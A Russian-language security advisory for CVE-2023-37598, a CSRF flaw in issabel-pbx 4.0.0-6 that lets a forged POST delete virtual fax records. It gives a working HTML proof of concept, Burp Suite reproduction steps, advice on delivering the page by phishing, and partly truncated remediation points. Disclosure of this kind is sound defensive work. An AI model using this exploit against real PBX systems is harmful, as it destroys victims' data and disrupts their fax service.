
В issabel-pbx v4.0.0-6 существует уязвимость межсайтовой подделки запроса (CSRF) в функциональности управления виртуальным факсом.
CVE ID: CVE-2023-37598
Тип уязвимости: Межсайтовая подделка запроса (CSRF)
Затронутый продукт: issabel-pbx v4.0.0-6
Критичность: Средняя
Обнаружил: Sahil Ojha
Дата раскрытия: 10/07/2023
Сайт поставщика: https://www.issabel.org/
Репозиторий ПО: https://github.com/IssabelFoundation/issabelPBX
Протестировано на: Windows
Уязвимость типа Cross-Site Request Forgery (CSRF) (межсайтовая подделка запроса) существует в issabel-pbx v4.0.0-6 в функциональности управления виртуальными факсами. Приложение не реализует защиту от CSRF (например, anti-CSRF токены или атрибуты cookie SameSite) для действия удаления записей виртуальных факсов.
Это позволяет удалённому неаутентифицированному атакующему создать вредоносную HTML-страницу, которая — при посещении её аутентифицированным администратором или пользователем — незаметно отправляет подделанный HTTP-запрос к приложению от имени жертвы. Подделанный запрос приводит к удалению записей виртуальных факсов без ведома или согласия жертвы, что влечёт за собой потерю данных и нарушение работы факсимильных сервисов.
Межсайтовая подделка запроса (CSRF) — это атака, которая заставляет браузер жертвы отправить аутентифицированный запрос к веб-приложению без намерения пользователя. Поскольку браузер автоматически включает сессионные cookie в каждый запрос, сервер не может отличить легитимный запрос от подделанного при отсутствии CSRF-токена.
| Параметр | Значение |
|---|
Следующий HTML-файл при открытии его аутентифицированным пользователем issabel-pbx автоматически отправит подделанный POST-запрос, который удалит виртуальный факс с id_fax=1.
Файл: CSRF exploit.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_fax" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Примечание: Замените
{Issabel IP}на IP-адрес или имя хоста целевого сервера. Значениеid_faxможно изменить, чтобы выбрать любую запись виртуального факса по её ID.
Войдите в панель администратора Issabel PBX и перейдите на страницу «Виртуальный факс»:
https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1

Перехватите запрос на удаление с помощью прокси Burp Suite. Попробуйте удалить запись виртуального факса, перехватите запрос, щёлкните по нему правой кнопкой мыши и перейдите в Engagement Tools → Generate CSRF PoC.

Сохраните сгенерированный эксплойт CSRF в виде HTML-файла (см. PoC выше).
Доставьте эксплойт пользователю, который уже выполнил вход в приложение Issabel (например, с помощью фишингового письма или вредоносной ссылки). Когда жертва откроет страницу и нажмёт кнопку «Submit request», запись виртуального факса будет удалена без каких-либо дальнейших действий.


Атакующий размещает вредоносный HTML-файл на внешнем сервере или встраивает его в письмо. Когда аутентифицированный администратор Issabel PBX открывает эту страницу в той же сессии браузера, браузер автоматически отправляет подделанный POST-запрос — вместе с действительным сессионным cookie — на сервер Issabel. Сервер обрабатывает запрос как легитимный и удаляет целевую запись виртуального факса. Жертва не получает никакого предупреждения и может не заметить удаление, пока вручную не проверит список факсов.
Для устранения данной уязвимости поставщику следует реализовать одну или несколько из следующих мер:
SameSite=Strict или SameSite=Lax, чтобы браузер не отправлял его с межсайтовыми запросами.X-Requested-With: XMLHttpRequest) и проверяйте его на стороне сервера.| Приложение | issabel-pbx |
| Версия | 4.0.0-6 |
| Уязвимый URL | /index.php?menu=faxnew&action=view&id=<ID> |
| Уязвимое действие | delete (POST-параметр) |
| Отсутствующая защита | CSRF-токен / атрибут cookie SameSite |